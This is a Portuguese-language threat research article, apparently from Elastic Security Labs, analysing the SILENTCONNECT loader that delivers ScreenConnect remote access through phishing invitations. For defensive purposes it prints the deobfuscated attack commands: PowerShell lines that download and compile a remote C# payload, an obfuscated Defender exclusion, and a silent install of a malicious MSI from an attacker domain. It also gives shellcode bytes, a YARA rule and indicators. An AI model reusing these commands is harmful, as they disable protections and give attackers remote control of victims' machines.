Daniel StepanicSalim Bitam

Do convite à infecção: como o SILENTCONNECT oferece o ScreenConnect

O SILENTCONNECT é um carregador de múltiplas etapas que utiliza VBScript, execução de PowerShell na memória e mascaramento PEB para implantar silenciosamente a ferramenta ScreenConnect RMM.

From Invitation to Infection: How SILENTCONNECT Delivers ScreenConnect

Introdução

O Elastic Security Labs está observando campanhas maliciosas que disseminam uma infecção em vários estágios envolvendo um carregador previamente não documentado. A infecção começa quando os usuários são redirecionados para uma página CAPTCHA do Cloudflare Turnstile sob o pretexto de um convite digital. Após clicar no link, um arquivo VBScript é baixado para o computador. Ao ser executado, o script recupera o código-fonte C#, que é então compilado e executado na memória usando o PowerShell. A carga útil final observada nessas campanhas é o ScreenConnect, uma ferramenta de monitoramento e gerenciamento remoto (RMM) usada para controlar máquinas vítimas.

Esta campanha destaca um tema comum: atacantes que abusam de binários "living-off-the-land" (LOLBins) para facilitar a execução de ataques, além de utilizarem provedores de hospedagem confiáveis, como Google Drive e Cloudflare. Embora a carregadeira seja pequena e simples, parece ser bastante eficaz e permaneceu discreta desde março de 2025.

Principais conclusões

  • SILENTCONNECT é um carregador recém-descoberto que está sendo usado ativamente em situações reais.
  • Este instalador instala silenciosamente o ConnectWise ScreenConnect, permitindo o acesso prático por teclado às máquinas alvo.
  • As campanhas de distribuição do SILENTCONNECT utilizam infraestrutura de hospedagem da Cloudflare e do Google Drive.
  • O SILENTCONNECT utiliza chamadas à API NT, mascaramento PEB e inclui exclusão do Windows Defender e bypass do Controle de Conta de Usuário (UAC).

cadeia de infecção SILENTCONNECT

Na primeira semana de março, nossa equipe observou uma infecção do tipo "vivendo fora da terra", gerando múltiplos alertas comportamentais em um curto período.

O download inicial do VBScript acionou nossa regra de Script suspeito do Windows baixado da Internet, que nos permitiu chegar à fonte da infecção usando os campos associados file.origin_url e file.origin_referrer_url .

Ao acessar a página inicial, observamos uma página CAPTCHA do Cloudflare Turnstile. Após clicar na caixa de seleção de verificação humana, um arquivo VBScript (E-INVITE.vbs) é baixado para a máquina.

Abaixo está o código-fonte da página de destino, podemos ver que o arquivo VBScript (E-INVITE.vbs) está hospedado no serviço de armazenamento de objetos da Cloudflare r2.dev.

Abaixo estão outros nomes de arquivos VBScript observados no último mês relacionados a essas campanhas:

  • Alaska Airlines 2026 Fleet & Route Expansion Summary.vbs
  • CODE7_ZOOMCALANDER_INSTALLER_4740.vbs
  • 2025Trans.vbs
  • Proposal-03-2026.vbs
  • 2025Trans.vbs
  • updatv35.vbs

Os VBScripts são minimamente ofuscados, usando uma história infantil como isca, e empregam as funções Replace() e Chr() para ocultar a próxima etapa.

Este script desofusca o código para a seguinte saída na linha de comando:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass 
  -command ""New-Item -ItemType Directory -Path 'C:\Windows\Temp' -Force | Out-Null; 
  curl.exe -L 'hxxps://drive.google[.]com/uc?id=1ohZxxT-h7xWVgclB1kvpvwkF0AGWoUtq&export=download' 
  -o 'C:\Windows\Temp\FileR.txt';Start-Sleep -Seconds 
  8;$source = [System.IO.File]::ReadAllText('C:\Windows\Temp\FileR.txt');Start-Sleep 
  -Seconds 1;Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $source 
  -Language CSharp; [HelloWorld]::SayHello()""

Este trecho usa o PowerShell para invocar curl.exe para baixar um payload C# do Google Drive, que é então gravado no disco com o nome do arquivo (C:\Windows\Temp\FileR.txt).

O código-fonte C# recuperado utiliza uma técnica de ofuscação conhecida como desdobramento de constantes para ocultar o array de bytes usado para execução reflexiva na memória.

Finalmente, o comando PowerShell compila o código-fonte C# baixado (FileR.txt) em tempo de execução usando Add-Type, carrega-o na memória como um assembly .NET e o executa através do método [HelloWorld]::SayHello() .

SILENTCONNECT

A seção a seguir aborda a família de carregadores .NET que chamamos de SILENTCONNECT. O exemplo é relativamente pequeno e simples, projetado principalmente para baixar um payload remoto (ScreenConnect) e instalá-lo silenciosamente no sistema.

Após dormir por 15 segundos, o malware aloca memória executável usando a função nativa da API do Windows via NtAllocateVirtualMemory, atribuindo permissões à região PAGE_EXECUTE_READWRITE . SILENTCONNECT armazena um array de bytes embutido contendo o seguinte shellcode:

53                        ; push rbx
48 31 DB                  ; xor rbx, rbx
48 31 C0                  ; xor rax, rax
65 48 8B 1C 25 60000000   ; mov rbx, gs:[0x60]  ← PEB address (x64)
48 89 D8                  ; mov rax, rbx        ← return value
5B                        ; pop rbx
C3                        ; ret

Este pequeno shellcode é movido para a memória recentemente alocada usando Marshal.Copy. Em seguida, o malware executa o shellcode para recuperar o endereço do Bloco de Ambiente de Processo (PEB). Essa abordagem permite que o malware acesse diretamente as estruturas de processo, evitando as APIs de nível superior do Windows, que são comumente monitoradas ou interceptadas por produtos de segurança.

O SILENTCONNECT usa NTAPIs de ntdll.dll (APIs nativas) e ole32.dll (APIs COM) durante o estágio de configuração do delegado, permitindo que o malware invoque funções como NtWriteVirtualMemory ou CoGetObject diretamente de.NET.

Mascaramento PEB

O SILENTCONNECT implementa uma técnica comum de evasão de malware conhecida como mascaramento PEB. Todos os processos do Windows incluem uma estrutura mantida pelo kernel conhecida como Bloco de Ambiente do Processo (PEB). Essa estrutura contém uma lista encadeada de módulos carregados. Dentro de cada lista encadeada, encontram-se entradas que contêm o endereço base do módulo, o nome da DLL e o caminho completo. SILENTCONNECT percorre esta estrutura, encontrando seu próprio módulo, e então sobrescreve seus BaseDLLName e FullDllName para winhlp32.exe e c:\windows\winhlp32.exe.

Muitas ferramentas de segurança, incluindo EDRs, usam o PEB como uma fonte confiável para detectar atividades suspeitas. Essa técnica consegue enganar esses produtos usando um nome e um caminho inofensivos para se ocultar.

Antes de executar o payload, o malware implementa uma forma de burlar o UAC usando a função LaunchElevatedCOMObjectUnsafe com a string do monker invertida: :wen!rotartsinimdA:noitavelE -> Elevation:Administrator!new:

Se o malware estiver em um estado sem privilégios elevados, ele tentará usar a técnica de bypass do UAC por meio da interface COM CMSTPLUA. Os parâmetros de inicialização são armazenados em uma matriz de caracteres em ordem inversa como uma técnica simples de ofuscação.

A primeira parte deste comando ofuscado adiciona uma exclusão do Microsoft Defender para .exe arquivos.

$ConcreteDataStructure=[char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+
[char]114+[char]101+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]
101;$s=[char](23+23)+[char]101+[char]120+[char]101;&($ConcreteDataStructure) 
-ExclusionExtension $s -Force;

Abaixo está o resultado deste comando no Defender com a exceção adicionada:

Após adicionar a exclusão, o SILENTCONNECT cria um diretório temporário (C:\Temp) e usa curl.exe para baixar o instalador malicioso do cliente ScreenConnect para dentro dele. Em seguida, invoca msiexec.exe para instalar silenciosamente o RMM. A seguir, a segunda metade da linha de comando:

New-Item -ItemType Directory -Path 'C:\Temp' -Force | Out-Null; curl.exe -L 
 'hxxps://bumptobabeco[.]top/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest'
  -o 'C:\Temp\ScreenConnect.ClientSetup.msi'; Start-Process msiexec.exe '/i 
  C:\Temp\ScreenConnect.ClientSetup.msi'"

Após a instalação, o cliente ScreenConnect persiste como um serviço do Windows e envia sinais para o servidor ScreenConnect controlado pelo adversário em bumptobabeco[.]top através da porta TCP 8041.

Campanha SILENTCONNECT

O principal vetor de acesso inicial para essas campanhas começa com e-mails de phishing. Identificamos uma amostra de e-mail (YOU ARE INVITED.eml) carregada no VirusTotal de uma campanha do ano passado.

O e-mail é enviado de dan@checkfirst[.]net[.]au e se faz passar por um convite de proposta de projeto de uma empresa falsa. O corpo do e-mail convida o destinatário a enviar uma proposta clicando em um link. Este link redireciona a vítima para infraestrutura controlada pelo atacante imansport[.]ir/download_invitee.php.

Notavelmente, o agente da ameaça reutilizou o mesmo caminho URI (download_invitee.php) em todos os sites comprometidos para entregar a carga maliciosa. Esta convenção de nomenclatura consistente representa uma prática de segurança operacional (OPSEC) deficiente, pois forneceu um ponto de referência confiável para rastrear a infraestrutura da campanha e identificar hosts comprometidos adicionais por meio de pesquisas do VirusTotal, como entity:url url:download_invitee.php.

Descobrimos também vários sites legítimos que foram comprometidos e usaram a mesma infraestrutura para facilitar outros esquemas fraudulentos. Por exemplo, um URL (solpru[.]com/process/docusign[.]html) hospeda uma página que imita de perto a plataforma de assinatura eletrônica DocuSign.


Portal DocuSignfalso

Esta cadeia ignora completamente o SILENTCONNECT ao baixar um MSI ScreenConnect pré-configurado que se conecta automaticamente ao servidor do ator (instance-lh1907-relay.screenconnect[.]com).

Outra página em um domínio diferente se faz passar por uma página do Microsoft Teams e solicita que o usuário baixe um arquivo, o que leva ao uso indevido do Agente Syncro RMM.

Conclusão

A Elastic Security Labs continua a observar um aumento na adoção de RMM por agentes de ameaças. Como essas ferramentas são usadas por departamentos de TI legítimos, elas geralmente são ignoradas e consideradas "confiáveis" na maioria dos ambientes corporativos. As organizações devem permanecer vigilantes, auditando seus ambientes em busca de uso não autorizado de RMM.

Embora esse grupo em particular tenha ido um passo além, escrevendo um carregador personalizado, a maior parte de sua cadeia de infecção utiliza binários do Windows para evitar a detecção e se misturar à atividade normal do sistema. O uso indevido de plataformas confiáveis, como Google Drive e Cloudflare, para hospedagem de payloads e entrega de iscas complica ainda mais a detecção, já que é improvável que os controles baseados em rede bloqueiem completamente o tráfego para esses serviços. Como os agentes de ameaças continuam a privilegiar a simplicidade e o sigilo em detrimento da sofisticação, é provável que campanhas dessa natureza persistam e evoluam.

SILENTCONNECT e MITRE ATT&CK

A Elastic usa a estrutura MITRE ATT&CK para documentar táticas, técnicas e procedimentos comuns que ameaças persistentes avançadas usam contra redes corporativas.

Táticas

As táticas representam o porquê de uma técnica ou subtécnica. É o objetivo tático do adversário: a razão para executar uma ação.

Técnicas

Técnicas representam como um adversário atinge um objetivo tático executando uma ação.

Detectando SILENTCONNECT

YARA

A Elastic Security criou as seguintes regras YARA para identificar essa atividade:

rule Windows_Trojan_SilentConnect_cdc03e84 {
    meta:
        author = "Elastic Security"
        creation_date = "2026-03-04"
        last_modified = "2026-03-04"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.SilentConnect"
        reference_sample = "8bab731ac2f7d015b81c2002f518fff06ea751a34a711907e80e98cf70b557db"
        license = "Elastic License v2"
    strings:
        $peb_evade = "winhlp32.exe" wide fullword
        $rev_elevation = "wen!rotartsinimdA:noitavelE" wide fullword
        $masquerade_peb_str = "MasqueradePEB" ascii fullword
        $guid = "3E5FC7F9-9A51-4367-9063-A120244FBEC7" wide fullword
        $unique_str = "PebFucker" ascii fullword
        $peb_shellcode = { 53 48 31 DB 48 31 C0 65 48 8B 1C 25 60 00 00 00 }
        $rev_screenconnect = "tcennoCneercS" ascii wide
    condition:
        5 of them
}

Observações

Os seguintes observáveis foram discutidos nesta pesquisa.

ObservávelTipoNomeReferência
281226ca0203537fa422b17102047dac314bc0c466ec71b2e6350d75f968f2a3SHA-256E-INVITE.vbsVBScript
adc1cf894cd35a7d7176ac5dab005bea55516bc9998d0c96223b6c0004723c37SHA-2562025Trans.vbsVBScript
81956d08c8efd2f0e29fd3962bcf9559c73b1591081f14a6297e226958c30d03SHA-256ArquivoR.txtC#
c3d4361939d3f6cf2fe798fef68d4713141c48dce7dd29d3838a5d0c66aa29c7SHA-256ScreenConnect.ClientSetup.msiInstalador do SCREENCONECT
8bab731ac2f7d015b81c2002f518fff06ea751a34a711907e80e98cf70b557dbSHA-256SILENTCONNECT
86.38.225[.]59endereço-ipv4Servidor ScreenConnect C2
bumptobabeco[.]topDomínioServidor ScreenConnect C2
instance-lh1907-relay.screenconnect[.]comDomínioServidor ScreenConnect C2
349e78de0fe66d1616890e835ede0d18580abe8830c549973d7df8a2a7ffdcecSHA-256ViewDocs.exeInstalador Syncro

Compartilhe este artigo